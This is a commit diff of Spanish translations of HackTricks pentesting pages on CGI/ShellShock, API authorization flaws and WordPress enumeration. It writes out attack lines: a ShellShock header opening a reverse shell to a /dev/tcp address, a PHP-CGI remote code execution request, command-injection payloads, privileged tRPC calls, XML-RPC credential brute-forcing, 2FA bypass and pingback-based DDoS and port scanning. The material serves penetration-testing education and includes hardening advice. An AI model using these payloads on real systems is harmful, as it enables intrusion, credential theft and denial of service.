Translated ['', 'src/network-services-pentesting/pentesting-web/cgi.md',

This commit is contained in:
Translator 2025-10-07 10:15:13 +00:00
parent c6b1ff9b52
commit e8070e84d5
8 changed files with 627 additions and 587 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.5 KiB

BIN
src/images/k8studio.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 87 KiB

File diff suppressed because it is too large Load Diff

View File

@ -5,26 +5,26 @@
## Información
Los **scripts CGI son scripts perl**, así que, si has comprometido un servidor que puede ejecutar _**.cgi**_ scripts puedes **subir un perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **cambiar la extensión** de **.pl** a **.cgi**, **dar permisos de ejecución** \(`chmod +x`\) y **acceder** al reverse shell **desde el navegador web** para ejecutarlo.
Para probar **CGI vulns** se recomienda usar `nikto -C all` \(and all the plugins\)
Los **CGI scripts son perl scripts**, así que, si has comprometido un servidor que puede ejecutar _**.cgi**_ scripts puedes **subir un perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **cambiar la extensión** de **.pl** a **.cgi**, dar **permisos de ejecución** \(`chmod +x`\) y **acceder** al reverse shell **desde el navegador web** para ejecutarlo.
Para probar **CGI vulns** se recomienda usar `nikto -C all` \(y todos los plugins\)
## **ShellShock**
**ShellShock** es una **vulnerabilidad** que afecta al ampliamente usado intérprete de línea de comandos **Bash** en sistemas operativos basados en Unix. Apunta a la capacidad de Bash para ejecutar comandos pasados por aplicaciones. La vulnerabilidad reside en la manipulación de **environment variables**, que son valores dinámicos nombrados que afectan cómo se ejecutan los procesos en un equipo. Los atacantes pueden explotar esto adjuntando **código malicioso** a environment variables, que se ejecuta al recibir la variable. Esto permite a los atacantes comprometer potencialmente el sistema.
**ShellShock** es una **vulnerabilidad** que afecta al ampliamente usado intérprete de órdenes **Bash** en sistemas operativos basados en Unix. Aprovecha la capacidad de Bash para ejecutar comandos pasados por aplicaciones. La vulnerabilidad radica en la manipulación de **variables de entorno**, que son valores nombrados y dinámicos que afectan cómo se ejecutan los procesos en un equipo. Los atacantes pueden explotar esto adjuntando **código malicioso** a las variables de entorno, que se ejecuta al recibir la variable. Esto permite a los atacantes potencialmente comprometer el sistema.
Al explotar esta vulnerabilidad la **página podría arrojar un error**.
Puedes **encontrar** esta vulnerabilidad notando que está usando una **versión antigua de Apache** y **cgi_mod** \(con la carpeta cgi\) o usando **nikto**.
Puedes **encontrar** esta vulnerabilidad al notar que está usando una **versión antigua de Apache** y **cgi_mod** \(con carpeta cgi\) o usando **nikto**.
### **Prueba**
La mayoría de las pruebas se basan en echo something y esperan que esa cadena sea devuelta en la respuesta web. Si crees que una página puede ser vulnerable, busca todas las páginas cgi y pruébalas.
La mayoría de las pruebas se basan en usar `echo` para imprimir algo y esperar que esa cadena sea devuelta en la respuesta web. Si crees que una página puede ser vulnerable, busca todas las páginas cgi y pruébalas.
**Nmap**
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl \(reflejado, ciego y fuera de banda\)**
## **Curl \(reflected, blind and out-of-band\)**
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
@ -51,15 +51,15 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
> set rhosts 10.1.2.11
> run
```
## Despachadores CGI centralizados (enrutamiento por un único endpoint mediante parámetros selector)
## Despachadores CGI centralizados (enrutamiento de un único endpoint mediante parámetros selectores)
Muchas interfaces web embebidas multiplexan docenas de acciones privilegiadas detrás de un único CGI endpoint (por ejemplo, `/cgi-bin/cstecgi.cgi`) y usan un parámetro selector como `topicurl=<handler>` para enrutar la solicitud a una función interna.
Muchas interfaces web embebidas multiplexan docenas de acciones privilegiadas detrás de un único endpoint CGI (por ejemplo, `/cgi-bin/cstecgi.cgi`) y usan un parámetro selector como `topicurl=<handler>` para enrutar la solicitud a una función interna.
Metodología para explotar estos routers:
Metodología para explotar estos despachadores:
- Enumerar nombres de handler: scrapear JS/HTML, brute-force con wordlists, o desempaquetar firmware y grepear strings de handler usados por el dispatcher.
- Probar accesibilidad sin autenticación: algunos handlers olvidan las comprobaciones de auth y son invocables directamente.
- Centrarse en handlers que invocan utilidades del sistema o tocan archivos; validadores débiles a menudo solo bloquean unos pocos caracteres y pueden pasar por alto el guion inicial `-`.
- Enumerar nombres de handler: scrape JS/HTML, brute-force con wordlists, o desempaquetar firmware y usar grep para buscar cadenas de handler que use el dispatcher.
- Comprobar accesibilidad sin autenticación: algunos handlers olvidan las verificaciones de autenticación y son llamables directamente.
- Centrarse en handlers que invocan utilidades del sistema o que tocan archivos; los validadores débiles a menudo sólo bloquean unos pocos caracteres y pueden pasar por alto el guion inicial `-`.
Formas genéricas de exploit:
```http
@ -75,29 +75,31 @@ topicurl=setEasyMeshAgentCfg&agentName=;id;
# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
```
Detección y hardening:
Detección y endurecimiento:
- Obsérvese solicitudes no autenticadas a endpoints CGI centralizados con `topicurl` establecido a manejadores sensibles.
- Marcar parámetros que comiencen con `-` (argv option injection attempts).
- Vendedores: exigir autenticación en todos los manejadores que cambian estado, validar usando listas blancas/tipos/longitudes estrictas, y nunca pasar cadenas controladas por el usuario como flags de línea de comandos.
- Vigila solicitudes no autenticadas a endpoints CGI centralizados con `topicurl` establecido en handlers sensibles.
- Marca los parámetros que comienzan con `-` (intentos de inyección de opciones argv).
- Proveedores: aplicar autenticación en todos los handlers que cambian estado, validar usando allowlists/types/lengths estrictas, y nunca pasar cadenas controladas por el usuario como command-line flags.
## PHP antiguo + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
Básicamente si cgi está activo y php es "antiguo" (&lt;5.3.12 / &lt; 5.4.2) puedes ejecutar código.
Para explotar esta vulnerabilidad necesitas acceder a algún archivo PHP del servidor web sin enviar parámetros (especialmente sin enviar el carácter "=").
Luego, para probar esta vulnerabilidad, podrías acceder por ejemplo a `/index.php?-s` (nota el `-s`) y **el código fuente de la aplicación aparecerá en la respuesta**.
Básicamente, si cgi está activo y php es "antiguo" \(&lt;5.3.12 / &lt; 5.4.2\) puedes ejecutar código.
Para explotar esta vulnerabilidad necesitas acceder a algún archivo PHP del servidor web sin enviar parámetros \(especialmente sin enviar el carácter "="\).
Luego, para probar esta vulnerabilidad, podrías acceder por ejemplo a `/index.php?-s` \(nota el `-s`\) y **el código fuente de la aplicación aparecerá en la respuesta**.
Luego, para obtener **RCE** puedes enviar esta consulta especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` y el **código PHP** a ejecutar en el **cuerpo de la petición. Ejemplo:**
Luego, para obtener **RCE** puedes enviar esta consulta especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` y el **código PHP** a ejecutar en el **body of the request.
Ejemplo:
```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**Más info about the vuln and possible exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
**Más info sobre la vuln y posibles exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
## **Proxy \(MitM a las solicitudes del servidor web\)**
## **Proxy \(MitM to Web server requests\)**
CGI crea una variable de entorno por cada header en la solicitud HTTP. Por ejemplo: "host:web.com" se crea como "HTTP_HOST"="web.com"
CGI crea una variable de entorno para cada header en la http request. Por ejemplo: "host:web.com" se crea como "HTTP_HOST"="web.com"
Como la variable HTTP_PROXY podría ser usada por el servidor web, intenta enviar un **header** que contenga: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" y, si el servidor realiza alguna solicitud durante la sesión, podrás capturar cada petición hecha por el servidor.
Como la variable HTTP_PROXY podría ser usada por el web server, intenta enviar un **header** que contenga: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**". Si el servidor realiza alguna request durante la sesión, podrás capturar cada request realizada por el servidor.
## **Referencias**

View File

@ -2,54 +2,96 @@
{{#include ../../banners/hacktricks-training.md}}
## Resumen de la Metodología de Pentesting de API
## Resumen de la Metodología de API Pentesting
El pentesting de APIs implica un enfoque estructurado para descubrir vulnerabilidades. Esta guía encapsula una metodología integral, enfatizando técnicas y herramientas prácticas.
El pentesting de APIs implica un enfoque estructurado para descubrir vulnerabilidades. Esta guía resume una metodología completa, enfatizando técnicas y herramientas prácticas.
### **Comprendiendo los Tipos de API**
### **Comprender los tipos de API**
- **SOAP/XML Web Services**: Utilizan el formato WSDL para la documentación, que se encuentra típicamente en rutas `?wsdl`. Herramientas como **SOAPUI** y **WSDLer** (Extensión de Burp Suite) son instrumentales para analizar y generar solicitudes. La documentación de ejemplo está accesible en [DNE Online](http://www.dneonline.com/calculator.asmx).
- **REST APIs (JSON)**: La documentación a menudo viene en archivos WADL, sin embargo, herramientas como [Swagger UI](https://swagger.io/tools/swagger-ui/) proporcionan una interfaz más amigable para la interacción. **Postman** es una herramienta valiosa para crear y gestionar solicitudes de ejemplo.
- **GraphQL**: Un lenguaje de consulta para APIs que ofrece una descripción completa y comprensible de los datos en tu API.
- **SOAP/XML Web Services**: Utiliza el formato WSDL para documentación, típicamente disponible en rutas `?wsdl`. Herramientas como **SOAPUI** y **WSDLer** (extensión de Burp Suite) son instrumentales para analizar y generar solicitudes. La documentación de ejemplo está accesible en [DNE Online](http://www.dneonline.com/calculator.asmx).
- **REST APIs (JSON)**: La documentación a menudo viene en archivos WADL, sin embargo herramientas como [Swagger UI](https://swagger.io/tools/swagger-ui/) ofrecen una interfaz más amigable para la interacción. **Postman** es una herramienta valiosa para crear y gestionar solicitudes de ejemplo.
- **GraphQL**: Un lenguaje de consultas para APIs que ofrece una descripción completa y comprensible de los datos en tu API.
### **Laboratorios Prácticos**
### **Laboratorios de práctica**
- [**VAmPI**](https://github.com/erev0s/VAmPI): Una API deliberadamente vulnerable para práctica práctica, cubriendo las 10 principales vulnerabilidades de API de OWASP.
- [**VAmPI**](https://github.com/erev0s/VAmPI): Una API deliberadamente vulnerable para práctica hands-on, cubriendo las top 10 vulnerabilidades de API de OWASP.
### **Trucos Efectivos para el Pentesting de API**
### **Trucos efectivos para API Pentesting**
- **Vulnerabilidades SOAP/XML**: Explora vulnerabilidades XXE, aunque las declaraciones DTD a menudo están restringidas. Las etiquetas CDATA pueden permitir la inserción de payloads si el XML sigue siendo válido.
- **Escalación de Privilegios**: Prueba endpoints con diferentes niveles de privilegio para identificar posibilidades de acceso no autorizado.
- **Configuraciones Incorrectas de CORS**: Investiga la configuración de CORS para potenciales explotaciones a través de ataques CSRF desde sesiones autenticadas.
- **Descubrimiento de Endpoints**: Aprovecha los patrones de API para descubrir endpoints ocultos. Herramientas como fuzzers pueden automatizar este proceso.
- **Manipulación de Parámetros**: Experimenta con agregar o reemplazar parámetros en solicitudes para acceder a datos o funcionalidades no autorizadas.
- **Pruebas de Métodos HTTP**: Varía los métodos de solicitud (GET, POST, PUT, DELETE, PATCH) para descubrir comportamientos inesperados o divulgaciones de información.
- **Manipulación de Content-Type**: Cambia entre diferentes tipos de contenido (x-www-form-urlencoded, application/xml, application/json) para probar problemas de análisis o vulnerabilidades.
- **Técnicas Avanzadas de Parámetros**: Prueba con tipos de datos inesperados en payloads JSON o juega con datos XML para inyecciones XXE. También, intenta la contaminación de parámetros y caracteres comodín para pruebas más amplias.
- **Pruebas de Versiones**: Las versiones más antiguas de API pueden ser más susceptibles a ataques. Siempre verifica y prueba contra múltiples versiones de API.
- **SOAP/XML Vulnerabilities**: Explora vulnerabilidades XXE, aunque las declaraciones DTD suelen estar restringidas. Las etiquetas CDATA pueden permitir la inserción de payloads si el XML permanece válido.
- **Privilege Escalation**: Prueba endpoints con distintos niveles de privilegio para identificar posibilidades de acceso no autorizado.
- **CORS Misconfigurations**: Investiga la configuración de CORS para su posible explotabilidad mediante ataques CSRF desde sesiones autenticadas.
- **Endpoint Discovery**: Aprovecha patrones de API para descubrir endpoints ocultos. Herramientas como fuzzers pueden automatizar este proceso.
- **Parameter Tampering**: Experimenta añadiendo o reemplazando parámetros en las solicitudes para acceder a datos o funcionalidades no autorizadas.
- **HTTP Method Testing**: Varía los métodos de solicitud (GET, POST, PUT, DELETE, PATCH) para descubrir comportamientos inesperados o divulgación de información.
- **Content-Type Manipulation**: Cambia entre distintos content types (x-www-form-urlencoded, application/xml, application/json) para probar problemas de parsing o vulnerabilidades.
- **Advanced Parameter Techniques**: Prueba con tipos de datos inesperados en payloads JSON o juega con datos XML para inyecciones XXE. También intenta parameter pollution y caracteres comodín para pruebas más amplias.
- **Version Testing**: Las versiones antiguas de la API pueden ser más susceptibles a ataques. Siempre revisa y prueba múltiples versiones de la API.
### **Herramientas y Recursos para el Pentesting de API**
### Autorización y lógica de negocio (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls
- [**kiterunner**](https://github.com/assetnote/kiterunner): Excelente para descubrir endpoints de API. Úsalo para escanear y forzar rutas y parámetros contra APIs objetivo.
Los stacks modernos de TypeScript suelen usar tRPC con Zod para validación de inputs. En tRPC, `protectedProcedure` típicamente asegura que la solicitud tiene una sesión válida (authentication) pero no implica que el llamador tenga el rol/permisos correctos (authorization). Esta discordancia conduce a Broken Function Level Authorization/BOLA si procedimientos sensibles solo están protegidos por `protectedProcedure`.
- Modelo de amenaza: Cualquier usuario autenticado de bajo privilegio puede invocar procedimientos de nivel administrador si faltan verificaciones de rol (p. ej., background migrations, feature flags, tenant-wide maintenance, job control).
- Señal en caja negra: endpoints `POST /api/trpc/<router>.<procedure>` que tienen éxito con cuentas básicas cuando deberían ser solo admin. Los signups self-serve incrementan drásticamente la explotabilidad.
- Forma típica de ruta tRPC (v10+): cuerpo JSON envuelto bajo `{"input": {...}}`.
Ejemplo de patrón vulnerable (sin verificación de rol/permiso):
```ts
// The endpoint for retrying a migration job
// This checks for a valid session (authentication)
retry: protectedProcedure
// but not for an admin role (authorization).
.input(z.object({ name: z.string() }))
.mutation(async ({ input, ctx }) => {
// Logic to restart a sensitive migration
}),
```
Explotación práctica (black-box)
1) Registra una cuenta normal y obtén una sesión autenticada (cookies/headers).
2) Enumera background jobs u otros recursos sensibles mediante procedimientos “list”/“all”/“status”.
```bash
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
-H 'Content-Type: application/json' \
-b '<AUTH_COOKIES>' \
--data '{"input":{}}'
```
3) Invocar acciones privilegiadas como reiniciar una tarea:
```bash
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
-H 'Content-Type: application/json' \
-b '<AUTH_COOKIES>' \
--data '{"input":{"name":"<migration_name>"}}'
```
Impacto a evaluar
- Corrupción de datos por reinicios no idempotentes: Forzar ejecuciones concurrentes de migraciones/workers puede crear condiciones de carrera y estados parciales inconsistentes (pérdida silenciosa de datos, analítica rota).
- DoS vía agotamiento de workers/DB: Disparar repetidamente jobs pesados puede agotar los pools de workers y las conexiones a la base de datos, provocando interrupciones a nivel de tenant.
### **Herramientas y recursos para API Pentesting**
- [**kiterunner**](https://github.com/assetnote/kiterunner): Excelente para descubrir endpoints de API. Úsalo para escanear y brute force paths y parámetros contra las APIs objetivo.
```bash
kr scan https://domain.com/api/ -w routes-large.kite -x 20
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
```
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj es una herramienta de línea de comandos diseñada para ayudar con la auditoría de **archivos de definición Swagger/OpenAPI expuestos** al verificar los puntos finales de la API asociados en busca de autenticación débil. También proporciona plantillas de comandos para pruebas manuales de vulnerabilidades.
- Herramientas adicionales como **automatic-api-attack-tool**, **Astra** y **restler-fuzzer** ofrecen funcionalidades personalizadas para pruebas de seguridad de API, que van desde simulación de ataques hasta fuzzing y escaneo de vulnerabilidades.
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Es una herramienta de seguridad de API que audita tu API basada en un archivo OAS (la herramienta está escrita en rust).
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj es una herramienta de línea de comandos diseñada para ayudar en la auditoría de **exposed Swagger/OpenAPI definition files** comprobando los endpoints asociados del API en busca de autenticación débil. También proporciona plantillas de comandos para pruebas manuales de vulnerabilidades.
- Herramientas adicionales como **automatic-api-attack-tool**, **Astra** y **restler-fuzzer** ofrecen funcionalidades específicas para la seguridad de APIs, que van desde la simulación de ataques hasta fuzzing y el escaneo de vulnerabilidades.
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Es una herramienta de seguridad para API que audita tu API basada en un archivo OAS (la herramienta está escrita en rust).
### **Recursos de Aprendizaje y Práctica**
### **Recursos de aprendizaje y práctica**
- **OWASP API Security Top 10**: Lectura esencial para entender las vulnerabilidades comunes de API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
- **OWASP API Security Top 10**: Lectura esencial para comprender las vulnerabilidades comunes de las APIs ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
- **API Security Checklist**: Una lista de verificación completa para asegurar APIs ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
- **Logger++ Filters**: Para cazar vulnerabilidades de API, Logger++ ofrece filtros útiles ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
- **API Endpoints List**: Una lista curada de posibles puntos finales de API para fines de prueba ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
- **Logger++ Filters**: Para buscar vulnerabilidades en APIs, Logger++ ofrece filtros útiles ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
- **API Endpoints List**: Una lista seleccionada de posibles endpoints de API para fines de prueba ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
## Referencias
- [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,49 +4,49 @@
## Información básica
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Los archivos subidos** van a: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Los archivos de temas se pueden encontrar en /wp-content/themes/,** así que si cambias algún php del tema para obtener RCE probablemente usarás esa ruta. Por ejemplo: Usando **theme twentytwelve** puedes **acceder** al archivo **404.php** en: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Otra URL útil podría ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- In **wp-config.php** you can find the root password of the database.
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- En **wp-config.php** puedes encontrar la contraseña root de la base de datos.
- Rutas de login por defecto para revisar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files**
### **Archivos principales de WordPress**
- `index.php`
- `license.txt` contains useful information such as the version WordPress installed.
- `wp-activate.php` is used for the email activation process when setting up a new WordPress site.
- Login folders (may be renamed to hide it):
- `license.txt` contiene información útil, como la versión de WordPress instalada.
- `wp-activate.php` se usa para el proceso de activación por email al configurar un nuevo sitio WordPress.
- Carpetas de login (pueden ser renombradas para ocultarlas):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- The `wp-content` folder is the main directory where plugins and themes are stored.
- `wp-content/uploads/` Is the directory where any files uploaded to the platform are stored.
- `wp-includes/` This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.
- `wp-sitemap.xml` In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies.
- `xmlrpc.php` es un archivo que representa una funcionalidad de WordPress que permite transmitir datos usando HTTP como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazada por la WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- La carpeta `wp-content` es el directorio principal donde se almacenan plugins y temas.
- `wp-content/uploads/` es el directorio donde se almacenan los archivos subidos a la plataforma.
- `wp-includes/` es el directorio donde se guardan los archivos core, como certificados, fuentes, archivos JavaScript y widgets.
- `wp-sitemap.xml` En versiones de Wordpress 5.5 y superiores, Wordpress genera un archivo sitemap XML con todas las entradas públicas y los tipos de post y taxonomías consultables públicamente.
**Post exploitation**
**Post-explotación**
- The `wp-config.php` file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.
- El archivo `wp-config.php` contiene la información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, host de la base de datos, usuario y contraseña, authentication keys and salts, y el prefijo de las tablas de la base de datos. Este archivo de configuración también puede usarse para activar el modo DEBUG, lo cual puede ser útil para troubleshooting.
### Permisos de usuarios
- **Administrator**
- **Editor**: Publica y gestiona sus propias entradas y las de otros
- **Author**: Publica y gestiona sus propias entradas
- **Contributor**: Escribe y gestiona sus entradas pero no puede publicarlas
- **Subscriber**: Visualiza posts y edita su perfil
- **Editor**: Publica y gestiona sus propios posts y los de otros
- **Author**: Publica y gestiona sus propios posts
- **Contributor**: Escribe y gestiona sus posts pero no puede publicarlos
- **Subscriber**: Consulta las entradas y edita su perfil
## **Enumeración pasiva**
### **Obtener versión de WordPress**
### **Obtener la versión de WordPress**
Check if you can find the files `/license.txt` or `/readme.html`
Comprueba si puedes encontrar los archivos `/license.txt` o `/readme.html`
Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
Dentro del **código fuente** de la página (ejemplo de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -81,11 +81,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Plugins y Temas
Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrirlos todos, necesitarás **Brute Force activamente una lista de Plugins y Temas** (esperemos que existan herramientas automatizadas que contengan estas listas).
Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrirlos todos, tendrás que **Brute Force activamente una lista de Plugins y Temas** (esperemos que existan herramientas automatizadas que contengan estas listas).
### Usuarios
- **ID Brute:** Obtienes usuarios válidos de un sitio WordPress mediante Brute Forcing de los IDs de usuario:
- **ID Brute:** Obtienes usuarios válidos de un sitio WordPress al Brute Forcing los IDs de usuarios:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
@ -95,21 +95,21 @@ Si las respuestas son **200** o **30X**, eso significa que el id es **válido**.
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Otro endpoint `/wp-json/` que puede revelar información sobre usuarios es:
Otro endpoint `/wp-json/` que puede revelar alguna información sobre usuarios es:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Ten en cuenta que este endpoint solo expone usuarios que han hecho una publicación. **Solo se proporcionará información sobre los usuarios que tengan esta característica habilitada**.
Ten en cuenta que este endpoint solo expone usuarios que han hecho una publicación. **Solo se proporcionará información sobre los usuarios que tengan esta función habilitada**.
También ten en cuenta que **/wp-json/wp/v2/pages** podría leak direcciones IP.
También ten en cuenta que **/wp-json/wp/v2/pages** could leak direcciones IP.
- **Login username enumeration**: Al iniciar sesión en **`/wp-login.php`** el **mensaje** es **diferente** según si el usuario indicado **existe o no**.
- **Login username enumeration**: Al iniciar sesión en **`/wp-login.php`** el **mensaje** es **diferente** si indica si el **username exists or not**.
### XML-RPC
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
Si `xml-rpc.php` está activo puedes realizar un credentials brute-force o usarlo para lanzar ataques DoS a otros recursos. (Puedes automatizar este proceso[ using this](https://github.com/relarizky/wpxploit) por ejemplo).
Para ver si está activo intenta acceder a _**/xmlrpc.php**_ y envía esta solicitud:
Para ver si está activo intenta acceder a _**/xmlrpc.php**_ y enviar esta solicitud:
**Comprobar**
```html
@ -120,9 +120,9 @@ Para ver si está activo intenta acceder a _**/xmlrpc.php**_ y envía esta solic
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Bruteforce de credenciales**
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** son algunos de los métodos que pueden usarse para brute-force credenciales. Si puedes encontrar alguno de ellos puedes enviar algo como:
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** son algunos de los métodos que pueden usarse para brute-force credentials. Si puedes encontrar alguno de ellos, puedes enviar algo como:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,7 +132,7 @@ Para ver si está activo intenta acceder a _**/xmlrpc.php**_ y envía esta solic
</params>
</methodCall>
```
El mensaje _"Incorrect username or password"_ dentro de una respuesta con código 200 debe aparecer si las credenciales no son válidas.
El mensaje _"Nombre de usuario o contraseña incorrectos"_ dentro de una respuesta con código 200 debería aparecer si las credenciales no son válidas.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
@ -168,18 +168,17 @@ Con las credenciales correctas puedes subir un archivo. En la respuesta aparecer
</params>
</methodCall>
```
También existe una **manera más rápida** de brute-force credenciales usando **`system.multicall`** ya que puedes probar varias credenciales en la misma petición:
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Bypass 2FA**
Este método está pensado para programas y no para humanos, y es antiguo, por lo tanto no soporta 2FA. Así que, si tienes creds válidas pero la entrada principal está protegida por 2FA, **podrías abusar de xmlrpc.php para iniciar sesión con esas creds saltándote 2FA**. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer desde la consola, pero aún podrías llegar a RCE como lo explica Ippsec en [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Este método está pensado para programas y no para humanos, y es antiguo; por eso no soporta 2FA. Así que, si tienes creds válidos pero la entrada principal está protegida por 2FA, **podrías abusar de xmlrpc.php para login con esos creds bypassing 2FA**. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la consola, pero todavía podrías llegar a RCE como Ippsec lo explica en [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS or port scanning**
Si puedes encontrar el método _**pingback.ping**_ dentro de la lista puedes hacer que Wordpress envíe una petición arbitraria a cualquier host/puerto.\
Esto puede usarse para pedir a **miles** de **Wordpress** **sitios** que **accedan** a una **ubicación** (provocando así un **DDoS** en esa ubicación) o puedes usarlo para hacer que **Wordpress** escanee alguna **red** interna (puedes indicar cualquier puerto).
Si puedes encontrar el método _**pingback.ping**_ dentro de la lista, puedes hacer que Wordpress envíe una petición arbitraria a cualquier host/puerto. Esto puede usarse para pedirle a **miles** de **sitios** Wordpress que **accedan** a una **ubicación** (provocando así un **DDoS** en ese destino) o puedes usarlo para hacer que **Wordpress** escanee alguna **red** interna (puedes indicar cualquier puerto).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -193,7 +192,7 @@ Esto puede usarse para pedir a **miles** de **Wordpress** **sitios** que **acced
Si obtienes **faultCode** con un valor **mayor** que **0** (17), significa que el puerto está abierto.
Consulta el uso de **`system.multicall`** en la sección anterior para aprender cómo abusar de este método y provocar DDoS.
